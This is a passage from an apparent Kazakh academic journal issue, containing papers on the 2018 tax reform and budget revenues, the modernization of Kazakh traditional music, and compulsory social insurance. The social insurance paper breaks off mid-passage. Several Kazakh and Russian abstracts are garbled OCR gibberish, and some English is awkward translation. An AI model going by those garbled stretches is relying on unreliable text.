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directly connected with search of ways of increase in efficiency of action of all tax system, with ensuring
growth of tax revenues in the budget [2].

Tax administration — the control system of tax process established by the law, practice or customs
from the state and its bodies. And also tax administration is understood as the dynamic developing control
system of the tax relations coordinating activity of tax authorities in the conditions of market economy.
Tax administration can be carried out as by means of methods of power (administrative) coercion — threats
of application of penalties, arrest of bank accounts, other property of the taxpayer, restriction of his
actions, freedom of movement, etc., and by the conclusion of agreements with taxpayers on these or those
questions (accounting, use of tax benefits, payments of a tax, etc.) [3].

Recently, the method of regulation of alternatives — providing freedom of choice to taxpayers
between the different options of a legal form of conducting his activity, an order of maintaining and dra-
wing up account and the reporting, a way of execution of the obligation for payment of a tax allowed by
the law, application and distribution of tax benefits, etc. becomes more and more widespread method of
tax administration. In some countries transition is declared in tax administration from mainly compulsory,
power methods to the cooperation relations (friendly partnership) with taxpayers [4].

Therefore, since January 1, 2018 small and medium business of Kazakhstan has received new favo-
rable tax regime - the mode based on the fixed deduction (taking into account income and expenses). This
mode gives the chance to read from revenues of taxable base 30% of revenue, without confirmation of
similar deductions. Conditions of its application:

— a limit income per year — 12 260 multiple minimum size of the salary (for 2018 — 346 761 840
tenges) [5].

— the maximum number of hired workers is 50 people.

The Tax Code of PK 2018 provides new privileges taxpayers. The privilege for the taxpayers who are
carrying out electronic trading in goods is very interesting (for example, trade in goods in Instagram).
Income gained from electronic trading is exempted from KPN and IPN for 100%. This privilege will work
till 2025.

Also some rates have been lowered, for example:

— the rate for the individual entrepreneurs working according to the patent from 2 Is lowered to 1%
[4].

— the rate of a social tax on 1,5% — from 11 Is lowered to 9,5% (till 2025)

— the penalty fee size from 2,5 multiple official refunding rates of National Bank of Kazakhstan to
1,25 multiple Is reduced.

New rules of modification and additions in the Tax Code of RK. Since January 1, 2018 the provision
of editing in the tax law can be adopted no more once a year no later than July 1 of the current year and
are put into operation not earlier than January 1 of the year following after a year of their acceptance.

The new principle "Conscientiousness of the taxpayer"”, his main contents is entered:

All ambiguities and inaccuracies of the Tax Code will be interpreted in favor of taxpayers.

Penalties and penalty fee won't be applied if the taxpayer acted according to explanation of tax
authority on which the position has changed subsequently.

The institute of a delay or payment by installments on payment of taxes and payments is entered. The
delay or payment by installments on payment of taxes can be provided to the taxpayer whose financial
position doesn't allow to pay a tax and (or) a payment at the scheduled time, however sufficient reasons to
believe are had that the possibility of their payment will arise during the term for which the delay or
payment by installments is granted.

The new Tax Code of RK has included the separate section devoted to general declaring of income of
natural persons. Since 2020 all full age citizens of the Republic of Kazakhstan, the «oralmana» (The
people turned to the historical rod) having the residence permit and a number of nonresidents will be
obliged to hand over once a year the declaration on the income and the available property. All of us will
be obliged to specify our income and property in the declaration, for example, money, the real estate, cars,
the sums of accounts payable and the sum which owe us[6].

The purpose of transition to general declaring is control of income and property of natural persons for
fight against shadow economy and corruption manifestations. General declaring is applied in many
countries, such as Germany, the USA, Great Britain, Switzerland.
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Also other questions connected with improvement of tax policy and tax administration such as will be
provided: decrease in a rate of a social tax due to decrease in contributions to social insurance fund for
decrease in load of the salary fund; preservation of a threshold on a value added tax (30 thousand MRP).

Discussion of results - According to the report of the World Bank of "Doing Business 2017"
Kazakhstan in 2016 on the Taxation indicator Kazakhstan has taken the 60th place (57 earlier). Decrease
on 3 positions is connected with change of methodology [7].

In relation to the 2016th year income of RK has grown by 2,8 trillion tenge while the deficiency of
the consolidated budget was 2,21 trillion tenge.

According to data of the Ministry of Finance of the Republic of Kazakhstan, income of the
consolidated budget (including both the republican, and municipal budget) for the 2017th year has grown
by 35,0% to 10 808,7 billion tenges that makes 120,7% of execution of revenues of the budget.

Tax revenues, thanks to the continuing optimization (including growth of receipts from internal taxes
on goods, works, services, the VAT), have grown by 23,2% or 1 658,7 billion tenges, to the level of 8
812,0 billion tenges. At the same time execution of taxes makes 98,4% of all receipts planned for 2017.
Non-tax receipts were also higher planned for 19,8% or 50,6 billion tenges though their share in
cumulative receipts of the budget remains at a low level; in 2017 they have made 2,8%.

So notable difference between the actual and planned income first of all is connected with increase in
investment income. So, if it was planned that investment income from management of National fund for
all 2017 will make 196,02 billion tenges, then the actual earnings in nine months 2017 have already made
1 611,94 billion tenges. We will note that in 2016 investment income has made 415,11 billion tenges [8].

For the first quarter 2017 tax collecting has made 1,6 trillion tenge, having increased by 14,3% in
comparison with the first quarter of last year. This year according to the plan tax revenues will increase by
600 billion tenges or plus of 10% by 2016, having made 6,6 trillion tenge. From them 72% will go to the
republican budget and 28% in local.
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Figure 2 — Tax revenues to the state budget (trln.tg)

Receipts of KPN aren't the largest tax income of the country any more. Specific weight of KPN was
23% while the VAT - 24%. Tax collecting the VAT has increased by 19% by the same period of last year
when growth of receipts on KPN was only 1%.

Sharp increase in receipts on the VAT indicates increase in sales of goods and services in RK and
restoration of rates of business activity in national economy.

According to the report of the World Bank of "Doing Business 2017" Kazakhstan in 2016 on the
Taxation indicator Kazakhstan has taken the 60th place (57 earlier). Decrease on 3 positions is connected
with change of methodology.

In relation to the 2016th year income of RK has grown by 2,8 trillion tenge while the deficiency of
the consolidated budget was 2,21 trillion tenge
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Figure 3 — Tax revenues to the state budget (billion tenge)
Tax revenues in the state budget of RK on regions. March, 2017 (one billion tenges)
Total Growth for the year
Regions
2017/03 2016/03 2016/03
Almaty 418,9 403,0 15,9 4,0%
Atyrau 241,2 193,0 48,2 25,0%
Astana 221,0 224,7 -3,7 -1,6%
Mangystau 82,1 74,7 7,4 9,9%
Almaty region 76,6 55,9 20,7 37,1%
EKR 74,2 48,1 26,1 54,3%
Aktube region 71,0 524 18,6 35,4%
SKR 69,8 62,5 7,4 11,8%
Karaganda 68,0 40,6 27,4 67,5%
WKR 65,7 54,4 11,3 20,7%
Pavlodar region 37,2 47,1 -9,9 -21,0%
Kostanay 36,6 25,8 10,8 42,0%
Akmola region 30,4 22,2 8,2 36,8%
Kyzilorda region 23,5 18,9 4,6 24.2%
NKR 16,2 13,2 3,0 22,5%
Jambyl region 16,0 16,2 -0,2 -1,4%
Calculations Ranking.kz.

Traditionally, is in the lead on collecting tax revenues among regions of Almaty - 419 billion tenges
(+4% to the first quarter 2016) [9].

It is planned that placement in an industrial zone of the city of Almaty of 53 new modern productions
for 430 billion tenges will increase tax collecting the city by 19 billion tenges a year. The city generates
22% of VRP of the country, and by 2020 the indicator will grow by 12,5%.
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Besides Almaty in the list of leaders the Atyrau region - 241,2 billion tenges from which 50% are the
share of the city of Atyrau. On the third place — Astana which has collected 221 billion tenges for the first
quarter (-2% by last year).

Collecting in the Karaganda region (+67%), VKO (+54%), the Kostanay region (+42%) has sharply
increased [10].

So far, in RK in general, formation of bases of modern tax system is finished. Nevertheless, the
character of the present stage of development of the economy RK is characterized by existence of a set of
problems, specific to this stage. In these conditions, the tax reform undertaken in recent years, is only one
of components of the reforms directed to increase in competitive tax system. Tax policy of the state in the
next years will still be pursued in the conditions of federal budget deficit. In this regard the most important
task of the Government of RK, creation of the effective and stable tax system providing the budgetary
stability in the medium and long term including with use of tools and mechanisms of tax administration
is [11].

Conclusions. Further changes still we are expected and hope that the new tax system of our country
will be carried out in the directions of creation of favorable tax conditions for businessmen, producers,
stimulation of an investment of wage means in investment programs, providing attractive tax regime both
for Kazakhstan, and for the foreign capitals promoting the solution of priority problems of development of
the Kazakhstan economy.
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3AMAHAY %KAFJAMBIHJIA KP CAJIBIK CAJIACBIH BACKAPY
JKYWECIH JAMBITY YPAICTEPI

AnnoTtamus. Ocbl Makaana Ka3akCTaHHBIH CaNIbIK CasCaThIH AAMbITY/IbIH OOJaIaKTaFbl OaFBITTAPbl MEH 1AMy
TeHJIeHIUsIapbiHa Oara Oepineni. CaiblK )Kyleci — HapbIKTHIK SKOHOMHUKAHBIH aKbIpaMac Oedriri. Makanazia sxa3bli-
FaH/ail, HAPBIKTBIK YKOHOMHUKA TajanTapbiHa OailIaHBICTBI CANBIK JXKYHeCi SKOHOMHUKAHBI PETTEYAIH dpi dJICyMETTIK
JKOHE SKOHOMHKAIIBIK TaMyIbIH 0achIM OaFBITTapBIH aKBIHAAWTBIH HETI3T1 KYpassl peTiHAe KapacThIpeiansl. OcChl
MaKaJaHBIH IIeHOepiHAe TalJaHFaH SKOHOMHKAIBIK pedopManapabl JKypri3yre apHanraH OarmapiamaiapblH
itnHeH OI34iH eniMi3aeri caiblkK JKyHeciH pedopManayblH Herisri OarbITTapbl CalbIK KyiHeciHIeri KOFaMHBIH
KaHIIAIBIKTHI OIO/DKETTIK KOHE MEMIICKETTIH CaJIbIK CascaThIHBIH Ka3ipri yakbIT TallanTapbiHa XKayar OepeTiHairine
acep eremiri cesci3. JereHMeH caiblK JKyHeciHiH pedopMalapbliHbIH OarbITTaphl MEH KarWJaJlapblH aHBIKTaHTHIH
CaJIbIK casicaThl SKOHOMHUKAJIBIK YKOHE 9JICYMETTIK NPOIECTErl KOFaMHbBIH JMHAMHUKACHIH €CKepy Ka)KeT, COHIBIKTaH
OYJ1 KOFaM/IbIK KapbIM-KAThIHACTHI TYPAKTHI 3ePTTEY IIH KAKETTUIITH TYbIHIATaIbL.
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—— 163 ——



Becmuux Hayuonanvrot akademuu nayk Pecnybnuku Kazaxcman

JI. %K. Mbip3axanosa', P. Y. Cmarynosa', I'. A. Tacnenosa’, A. Hecseraiiniosa®

1YHI/IBepCI/ITeT MesxnyHapoaHoro OusHeca,
*KasHY um. ans-Papabi,
3H0H110HCK14171 YHUBEPCUTET
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AnHoTanus. B crathe paccMaTpWBAIOTCS TCHICHIIMW Pa3BUTHS M TCPCICKTHBHEBIC HANPABICHUS Pa3BHTHUS
HayloroBo monutuku Kazaxcrana. HanoroBasi crcremMa — BayKHEWIasi COCTABISIONIAs PHIHOYHOW SKOHOMHKH. . B
CTaTbe OTMEYACTCS, YTO B YCIOBHSX PHIHOYHOW YKOHOMHKH HAJIOTOBAsI CHCTEMa BBICTYIIAST TJIABHBIM HHCTPYMEHTOM
pEeTyIUpOBaHMUSA SKOHOMHKH W BO3ACUCTBHS TOCYNapCTBAa HA Pa3BUTHE XO3SHCTB, ONpPENENICHUS MPHOPHUTETOB CO-
UATFHOTO M SKOHOMHYECKOTO Pa3BUTHA. B pamMkax HaHHOW CTaThU NMPOAHAIM3WPOBAHBI YCIEX 3KOHOMHUYECKOTO
pedopmupoBaHus B Hallel CTpaHe OT CTENEHH KOTOPOH 3aBHCAT HANpaBjeHUs HMpeoOpa3oBaHHE HAIOTOBOW CHC-
TEMbI O0IIECTBA, HACKOJIBKO OIOJ/DKETHAs] M HAJOTOBas MOJMTHKA rOCyJapcTBa OyAeT OTBedYaTh TPeOOBAaHUSIM Bpe-
MeHn. Heo6X0auMo OTMETHTh, YTO HAJIOTOBas MOJIMTHKA, ONPEICSIIONasi IPUHITUITE U HAPaBIEHHOCTh PeQOpPMBI
HaJIOTOBOW CHCTEMBI, JIOJDKHA yYUTHIBaTh TUHAMHUKY SKOHOMHUYECKHX M COLMAIIBHBIX MPOLIECCOB B OOIIECTBE, YTO
npeaonpeesnsierT NoTpeOHOCTh IOCTOSIHHOTO UCCIIeIOBaHMS JaHHO cepbl 0OLIECTBEHHBIX OTHOIICHHH.
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MODERNIZATION OF TRADITIONAL MUSICAL CULTURE
OF THE KAZAKHS IN THE ERA OF GLOBALIZATION

Abstract. The article characterizes the current state of the national culture of Kazakhstan, the increase in the
number of traditional performers of the new trend and the folklore, ethno-folklore and classical collectives created on
the modern cultural platform and, at the same time, innovative phenomena in the field of the national musical
language and harmony typical for the late 20th and 21st centuries .

The President N. Nazarbayev in the article “Course towards the future: modernization of Kazakhstan’s identity”
points out 2 rules: “First. Modernization is impossible without preservingnational culture.Second. To move forward,
a nation must leave behind the elements of the past that hinder its development”. These rules, considered from the
standpoint of modernization in the era of globalization of the "national code" and "national culture" in traditional
music, through the identification of negative sides, the designation of advanced competitive achievements made it
possible to emphasize the need for their study.The scientific interpretation of the selected objects (work, persona-
lity — composer/performer/conductor, collective) is realized by an inductive method, in the movement from the
particular to the general. Along with this, under the appropriate conditions, a comparative-comparative method and
proven principles of system analysis are involved.

As a result of mastering new trends and processes in the Kazakh traditional musical culture as objects of study,
determining the ways for the intensive development of national art in the era of globalization, their consideration in
pragmatic and innovative aspects, comprehension of information and historical data on new personalities and
collectives, etc. is presented with scientific and cognitive positions in a concise form the content of the future fun-
damental collective monograph on a previously unexplored topic.

Keywords: tradition, composer,performer, song, kuy, treatment, orchestra, ensemble,bands and orchestra,
ethno-jazz, ethno-rock.

Introduction. At the end of the XX century and in the XXI century, especially during the last 10
years, computer technologies, Internet, mass media (radio, TV, newspapers, journals) have actively got
inside the life of the society, making a contribution to the public consciousness. Therefore, various
phenomena pertaining to the era of globalization had an impact on the genres of traditional music. The
development of the society all the time strives to the new, in this regard, above all, it is necessary to note
the processes of synthesis in traditional music. Through this, new terms, tendencies, styles and genres
appear in musicology. In the given aspect, above all, the problems of national musical language and mu-
sical sound should be considered. In this regard, along with the revival of traditional music, the attention
will be paid to modernization of traditional musical heritage in classical compositions.The reflection of
current trends in traditional music is a normal phenomenon. The RK President writes:“Even largely
modernized societies have cultures and traditions which are rooted long in the past.The first condition for
successful modernization is the preservation of national culture and tradition” [1]. Thus, relevance of the
topic is determined by presence of the “national code” on the basis of traditional authentic music, its
modernization at the current stage into a new form while maintaining own originality. The main purpose
of work is the musicians’ creativity appealing to the activity of collectives in new forms and current trends
and scientific and theoretical research of the reflection of innovative and pragmatics methods of musical
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language in contemporary compositions. Traditional music over the course of time gives the following
ways to: “No matter how difficult it was to investigate a tradition that did not leave written monuments, it
would be wrong to deny the fact of evolution, successive transformations in the spirit of the times that
have gripped many centuries, which continue to this day” [2, p. 114].

Methods. The scientific subjectsand the objects studies in it (composition, figure-composer/perfor-
mer/conductor, collective) will be implemented using the inductive method, which leads from private to
general. Along with this, the comparative and relative method and the proven principles of system analysis
will be used in the relevant sections. The works of philologists — M. Auezov, Z. Akhmetov, S. Kirabayev,
S. Kaskabasov, B. Maitanov, U. Kalizhanov, B. Azibayeva, A. Ismakova, etc. — and also the scientific
explorations of musicologists — A. Zatayevich [3], A. Zhubanov [4], B. Yerzakovich [5], S. Kuzembai [6],
A. Mukhambetova [7], S. Ayazbekova [8], etc. — will be used as the theoretical and methodological basis
of the work.

As in the near and far abroad modernization of traditional art of the globalization era has already
become noticeable in the previous century, the exploration of the given problem has started earlier. Since
each nation has written about its own national music, the leading world scientific works should be taken as
a basis of the given project. Thus, along with the works of the scientists that have considered the national
art and the historical and ethnographical direction of music as a solid phenomenon, for example,
B. Asafyev [9], . Zemtsovsky [10], I. Matsievsky [11], V. Medushevsky [12], etc., the scientific findings
of V. Konen [13], T. Adorno [14], T. Cherednichenko [15], V. Feiertag [16], who have explored such
contemporary music as jazz and rock, E. Kuznetsov [17], A. Bogdanova [18], Y. Dmitriev [19], who have
considered entertainer music, and E. Kampus [20], T. Kudinova [21], who have explored synthetic genres
in musical art, will be used. The publications of the scientists of far abroad — I. Behrendt [22], D. Hebdige
[23], L. Grossman [24], N. Bromell [25], J. Zimmer [26], etc. — may become a sort of guidebook for
understanding the essence of contemporary genres, forming of historical and theoretical justifications of
new phenomena.

The dissertations on the same subject as a socio-cultural phenomenon, cultural element of the youth
were taken in the near and far abroad. Among them, the findings of I. Nabok [27], E. Savina [28],
V. Syrov [29] may be counted as the outstanding ones. For example, V. Syrov writes in his research: “The
dialogue with this or that ethnic, cultural or style tradition within the frameworks of mass genre
phenomenon increases the requirement for the author, identifies his face, style, manner, intonation and in
this sense confronts the total homogenization of mass culture. At these examples it is possible to study
cultural and style contacts, thereby, implementing the non-traditional material into the context of actual
culture lens issues” [29, p.14].

In exploring the canon problems of contemporary music taking into account oral and improvisation
essence of traditional music the attention is drawn on the works of I. Bakhtin [30], Y. Lotman [31],
Y. Plahov [32], N. Shakhnazarova [33], T. Gafurbekov [34], V. Suzukei [35], etc. In this aspect the view
of V. Suzukei, the doctor of sciences studying the cultural and historical bases of traditional music of the
Tuvans and its modernization, is imagined comprehensive, she points out: “The multidimensional problem
of intersectionality of various types and “faces” of ethno-cultural experience and its creators, bearers and
translators of norms, values and samples is as heuristic as actual in the current situation. For the very
reason that cultural diversity and variety constitute a moving integrity of traditional and innovative
beginnings, it cannot but reflect the impact of the changes in the world” [35, p.3]. Based on the above, it
can be noticed that in the near and far abroad, i.e. in the world, different ethnic groups have long ago
started the works on the scientific findings concerning the modernization of traditional music.

Results. In his article “Course towards the future: modernization of Kazakhstan’s identity” the
President N. Nazarbayev points out 2 rules: “First. Modernization is impossible without preserving natio-
nal culture. Second. To move forward, a nation must leave behind the elements of the past that hinder its
development” [1]. The rules highlighted here, traditional music, which haspreserved the “national code”
and “national culture”, contributed to creation of the research plan dedicated to modernization of culture in
the era of globalization.The“national code” begins with an oral tradition. It is a mistake to say that this is a
traditional music of the common ethnos. The reason is that the representative of the oral tradition based on
the art of the past century when performing some music. Here are the following ways:“In the absence of
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musical notation, he first recalls the melody itself, then — a variant of its interpretation of the
unprecedented" reading "of a seemingly already well-known ... work” [34, p.135].

Ceremonial, household and historical songs have a special place in Kazakh traditional musical
culture. At the present time, due to changes in the way of life of the Kazakhs, the mentioned types of
folklore creativity has been modified and transformed strongly establishing in the creativity of classical
and amateur composers. In the art culture of the Kazakh nation, respecting especially the spirit of the
ancestors and their achievements, historical events (Aktabanshubyryndy, the October revolution, the Great
Patriotic War, the Jeltoksan, Astana, Sammit, Asiada, EXPO, etc.), historical figures (Beibars, Korkyt,
Ablai Khan, Syrym batyr, Issatai, Kyrmangazy, Abai, Zhambyl, Amangeldy, Kulyash, Aliya, Manshuk,
Nurgisa, N. Nazarbayev, T. Aubakirov, etc.) and also ceremonial songs (“Toi zhyry”, “Zhar-zhar”, “Zhas

zhubailar” — “The newly-married couple”, “Zhubailar zhyry” — “The song of the newly-married couple”,
“Ak kelin” — “The pure daughter-in-law”, “Kelinge osiet” — “The guidance to the daughter-in-law”, “Kuda
bolypzhureiik” — “Lets restect each other, the in-laws”, “Kudalar” — “The in-laws”, etc.) are reflected
properly.

In the era of globalization after the release from ideological attitudes and the Soviet power dominance
the representatives of national art started to look at the fate of the own nation deeper, started to create
original compositions matching with national mentality, harness new ways of performing, strived to show
national games and types of entertainment in scenic compositions. After gaining Independence the number
of traditional musicians started to increase and expanded with new names. The point of view of the Head
of the State: “I suggest drawing attention to our modern society and the achievements of our citizens” [1],
— contributed to creating a plan of the research where, along with the creativity of musicians continuing
the traditions laid down by the older generation and raising the new generation of students, the special
attention is paid to the professional classical composer and performing art of written tradition.

Among them, some outstanding representatives of traditional art should be noticed — K. Akh-
mediyarov, A. Zhaiymov, A. Ulkenbayeva, B. Tleukhan, B. Zhusipov, S. Zhanpeisova, R. Stamgaziyev,
R. Kulshebayev, Zh. Zhuzbayev, A. Abduali, A. Kazakhbayev, N. Ashirov, etc. And on the world scene
these are the musicians that along with the masterpieces of European and Russian classic perform and
promote national compositions and inspire respect and reverence from the international community
because of their mastery and talent. In this regard, it is necessary to mention such names as A. Musakhod-
zhayeva, M. Bisengaliyev, Zh. Aubakirova, G. Murzabekova, M. Kerei, G. Kydyrbekova, A. Tebenikhin,
A. Bisengaliyev, T. Erzhanov, E. Kurmangaliyev, H. Onalbayeva, etc. Thus, the problem of moderni-
zation of national values in the art of contemporary professional composers should act as a separate
research. For example, such compositions as “Korkyt’s dream” of B. Bayakhunov, “Berkut” of M. Kus-
sainov, “The tale of Nauryz celebration” of B. Kydyrbek, “The stone ghost” of S. Erkimbekov, “The
ancient Turan” of A. Raimkulova, “Ordabasy” of S. Abdinurov, etc. should be considered in the aspect of
the highlighted scientific issue.For example, the fact that the ancient heritage of national heritage is
reflected in today's composer's creativity continues. Let's talk about one of them, in the author's work of
A. Bestibaev is based on the song “Khamazhai”.

Onin becritaen Amunp bectniGaer

KAMAKAK KAMAZKAI

Allegretto

These techniques are also found in Uzbek professional music. The obvious example is the work of
M. Burkhanov, and it is well known that the Kazakh composer's “Dudarai” song was processed.
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In the XX century with the gaining of Independence the positions of ensembles and orchestras of
classical direction started to strengthen. Kurmangazy Kazakh folk instruments orchestra, N. Tlendiev
Academic folk-ethnographic orchestra (“Otyrarsazy”), State Academic symphony orchestra, State wind
orchestra, State choir named after B. Baikadamov, various chamber ensembles, etc. created established
under the Soviet power in the independence years have become more active in enriching the repertoire and
promoting national art. Here it is worth it to point out the role of the directors, conductors of that creative
collectives, who put great forces into development and improvement of the activity of the mentioned
musical organizations. These are such outstanding names as A. Zhubanov, N. Tlendiev, M. Aubakirova,
Sh. Kazhgaliev, F. Mansurov, T. Abdrashev, R. Gabdiev, K. Akhmetov, A. Buribayev, A. Zhudebaev, etc.

It is known that the chamber music of Kazakhstan also has its own relatively long historical path. If
among the artists of older generation it is necessary to mention the ancestors — the “Dosmukasan” band,
such singers as Rosa Rymbayeva, Hagima Eskalieva, Makpal Zhunisova, Bakhtiyar Tailakbayev, Akzhol
Meirbekov, etc., to date their continuers are many individual and collective (duets, trios, quartets) per-
formers, among which the most popular are such bands as “ABK”, “Nur-Mukasan”, “MuzArt”, “Konyr”,
“Zhigitter”, “KeshYou”, etc. It is safe to say that the meaningful quote of the Hungarian scientist
V. Bratash, the specialist in the field of the music of Asian nations: “The Kazakhs are the incredibly gifted
nation. Their songs charm me. I think I will not be mistaken if I say that the Kazakhs are musical no less
than Viennese and vocal no less than the Italians are. Kazakhstan is Asian Vienna and Italy, happily
merged together” [36], is being proved by the only talented creativity of Dimash Kudaibergenov.

During the recent years, consolidating of the native national instruments — dombra, kobyz, shan-
kobyz, sazsyrnai, zhetigen, sybyzgy, etc. — into a single sound or including them into the accompaniment
of the compositions of entertainer ensembles is often practiced. Such an ensemble decision increases the
interest of the youth to such a phenomenon and gives evidence about the quantitative growth of national
ethno-folklore collectives. Even in this trend there 2 directions being identified. The first one consists of
only the archaic ethnic instruments — the representatives are such ensembles as “Adyrna”, “Sazgensazy”,
“Farabi”, “Turan”, “Babalarsazy”, “KhasSak”, “Kokturik”, “Serper”, - the second one is entertainer col-
lectives wirking actively in rock, pop, jazz direction — among them the popular ones are such bands as
“Roksonaki”, “Urker”, “Ulytau”, “Beles”, “The Magic of Nomads”, “Aldaspan”, “Jado”, “Tigrakhaud”.
The tendencies of synthesizing can also be noticed in the creativity of single performers, such as
AsylbekEnsepov, AskarSultangazin, AlmatSaizhan, AkerkeTazhibayeva, etc., and duets, trios, quartets,
quintets — bands “Kerei”, ‘“Pai-pai”, “Zhan”, “Art dombyra”, “Asyl”. There have appeared even the
complex directions of the given type of contemporary creativity, for example, modern-ethno-jazz duet “ST
Brothers”. Since the highlighted phenomena are the products of the last years and for that very reason they
are not got into the scientific turnover, one of the main objectives of the given in the studyis to explore the
innovative tendencies in the musical culture of Kazakhstan of the globalization era, to identify positive
and negative sides, to note the impact of new tendencies on the consciousness of the youth. The statement
of N. Nazarbayev: “Nowadays, not only a single person, but a nation in general, can succeed only by
developing its competitiveness. First of all, it means that the nation has something valuable in terms of
price and quality to offer to regional and global markets. It is not only material goods but also knowledge,
services, intellectual products, and lastly, the quality of human resources” [1], — became the basis for the
presentation of the study, where the quality will be identified and the objective assessment of domestic
musical art on the arena of globalization will be done.

Conclusions. The analysis of new trends and directions of the globalization period will not only
increase the interest of the creative intelligence but will also have a positive effect on the formation of
educated youth. The contemporary compositions that have become the research objects and the leading
compositions in the genres of traditional art, stability and viability of the collectives and bands created in
the past and in the present, the direction and repertoires of single performers, which refer to the modern
tendencies, will be harnessed in scientific and cognitive aspect. In the result, the fundamental collective
monograph on the previously unexplored theme will be published. To do this, we offer the following
conclusions:

— In order to develop the national music in the global era, advanced scientific research in the world
should be taken from new parties: the history of music ethno-cultural as a whole phenomenon, the study of
jazz and rock music reflecting the new fears of contemporary music, the classification of synthetic genres
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in music The work of scientists who have studied the canonical problems of music art should be taken into
account;

— Theoretical principles of the first concept of modern music art modernization in the modern world
should be used in lectures on traditional, academic and variety performances in music education (spe-
cialized music school-college-conservatory — folk music, Kazakh musical folklore, Kazakh musical
history, musical critical, modern harmony and polyphony, sound recording, instrumentation, etc.);

— The intensive development of directions and trends of Kazakh traditional music culture, new faces
and collectives in the global era, the pragmatic and innovative novelty of the national heritage, which was
received as an object of the research, were not scientifically-theoretically studied. Since these things have
been the product of recent years, they have not yet come to the science circle, and we see the music of
Kazakhstan as a matter of national science, to judge what is happening in the global era and to determine
how these are right or wrong, and how it affects the consciousness of future generations.
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JKAhAHJIBIK JOYIPIETT
KA3AK JOCTYPJI MY3bIKA MOJIEHUETIHIH )KAHFBIPYBI

Annoranus. Makanaga XX raceIpasiH coHBI MeH XXI FackIpia AocTYpili My3bIKa ©HEeperi 3aMaH aFbIMBIHA
Oer OypraH ’kaHa TYIFATAPABIH JKOHE 3aMaHAyd YpIICTe KYPBUFaH (OIBKIOPIBIK, 3THO-(OIBKIOPIBIK KOHE
KIIACCHKAJIBIK Y>KBIMAAPBIH KOCBUIYBI, OHBIH YCTiHE YITTBIK MY3bIKA TiIiHE KOCBUIFAaH WHHOBALMSUIBIK MHTOHA-
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MOJIEPHU3ALIMS KA3AXCKOIi TPAJMIMOHHOMN
MY3BIKAJILHO KYJIBTYPBI B 2IIOXY ITOBAJIM3AIIAN

AnHoTanusi. B cratee 0003HaueHO XapakTepHU3YIOIIee CETOAHSIIHEE COCTOSHHE HAIMOHAIBHON KYyJBTYpHI
Ka3axcrana yBenuueHue uucia TPaAULUOHHBIX UCIIOIHUTENEH HOBOTO HANPABICHUS U CO3/aHHBIX HA COBPEMEHHOI
KyJIbTYpHOH matopMe (ONBKIOPHBIX, STHO-(ONBKIOPHBIX U KJIACCHYECKUX KOJUIEKTHBOB M BMECTE C TEM HHHO-
BAIlMOHHBIX SIBICHWH B c(epe HAMOHAIBHOTO MY3BIKAIBHOTO $3bIKa WTAPMOHWH, TUIHWYHBIX A KOHIAa XX U
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MPUHIUIBI CHCTEMHOTO aHaIN3a.
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COMPARATIVE ANALYSIS OF THE STATUS OF INCOMES
AND EXPENDITURES FOR COMPULSORY SOCIAL INSURANCE

Abstract. The structure of incomes and expenses on obligatory social insurance in structure of the state in-
comes and expenses of the Republic of Kazakhstan have been researched. A comparative analysis of the current state
of incomes and expenditures on compulsory social insurance in the system of social protection of the population in
the range of 10 years, according to the Unified Accumulative Pension Fund, in the range of 4 years was examined.
The author’s vision of the significance and role of the social tax, in accordance with the theoretical classification of
taxes, was presented. The results and the reasons for the positive and negative activities of the categories were
determined. It is well-known, that pension insurance is one of the components of compulsory social insurance of the
society. In this regard, it is quite useful to analyze the dynamics of the amount of pension savings in the Common
Accumulation Pension Fund. Despite the fact that this fund is not a state fund, the combined from the previously
existing private pension funds of accumulation of citizens in the CAPF are concentrated in the hands of the state. The
material is illustrated by graphically and partially supplemented with the tables. In the conclusion were made some
suggestions about the composition, role, financial position, possibilities for improving the current system of
compulsory social insurance.

Keywords: state income, public expenditure, social tax, social protection, compulsory social insurance, social
security, social assistance, working population, social payments, pension insurance.

State revenues are the system of the economic relations in the process of funding;it is formed on the
basisof the state’s ownership in order to create the material basis for its functioning [1]. The incomes of
the Republic of Kazakhstan include the revenues of the republican budget, incomes of the local budgets,
income of the different state funds: the National Fund, the State Social Insurance Fund, and the Mandatory
Social Insurance Fund.

The main part of state revenues is accumulated and distributed through the state budget (republican
and local). Therefore, it is advisable to start the analysis with the state budget. The range for analysis will
be determined in ten years (since 2008 to 2017).

Analysis of incomes of the state budget of the Republic of Kazakhstan shows that there is a tendency
of constant growth (figure 1), besides 2009, when the decrease in income was 529,07bill.tenge, or 15%in
the comparison with 2008; is quite appreciable, because theoretically acceptable is the budget deficit
to10% from itsincomes. But this situation is mitigated by the fact that it was observed only in 2009 in the
revenues of the republican budget, without affecting the incomes of the local budgets. In general, since
2009, there has been a positive trend.

The observed real tendency of increasing the state budget revenues is a serious achievement that
allows the state to increase spending on the social sphere. But at the same time, it is necessary to note a
wide spread of income growth (from 4% to 20%). So, in 2011, revenues increased by 20% and in 2012 -
by 7.6%; in 2015 the increase was only 4%, and in 2017 it reached the rate of 20%. In our opinion, despite
the present positive dynamics of budget revenues, in general, the uneven increase does not allow the
systematic development of the social sphere.
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Figure 1 — Dynamics of Incomes of the State Budget, mln. tenge

A similar situation is observed with the revenues of the constituent part of the state budget of the
Republic of Kazakhstan — the republican budget (figure 2). The unevenness of the increase in the revenues
of the republican budget repeats the volatility of the increase in the revenues of the state budget. Below we
would like to show the incomes of the local budgets (figure 3).
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Figure 2 — Dynamics of Incomes of the State Budget, mln .tenge

The incomes of the local budgets tend to be relatively increased, except 2015, when there was a slight
decrease of 2% (figure 3).

The revenue side of the local budgets of the Republic of Kazakhstan is formed primarily by the local
taxes: individual income tax, social tax, property tax of the legal entities and individuals, land tax, vehicle
tax, and other mandatory payments.

So called “target” taxes are, first of all, the taxes, which used in finance specific activities. In the
scientific literature in relation to the “target” taxes there are the different opinions.For instance, S.G. Pepe-
liaev [2, p. 48-49] notes the positive features of the targeted taxes:
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Figure 3 — Dynamics of Incomes of the LocalBudget, min. tenge

— Firstly, from the psychological point of view, the taxpayer more readily pays such tax;

— Secondly, these taxes can be introduced in order to give independence to the specific government
agency;

— Thirdly, the target nature of the tax can be justified by the establishment of the need to implement
certain costs.

It is well-known, that the right to free medical care for the permanent residents was granted in 2017,
following the amendments to the country’s Code “On Health and Healthcare System”. Prior to that these
categories of people were entitled only for free emergency and urgent medical care. In addition to that,
permanent residents will also be able to choose primary health care organizations to receive medical ser-
vices within the areas of their residence, work, and study. Meanwhile, temporary residents will only have
the right to free emergency and urgent medical care within the limits of the free medical care [3, p. 17].

The new model of the medical care in our country will be implemented in three phases. In the first
stage, a full audit of medical care under existing conditions will be conducted as it relates to guaranteed
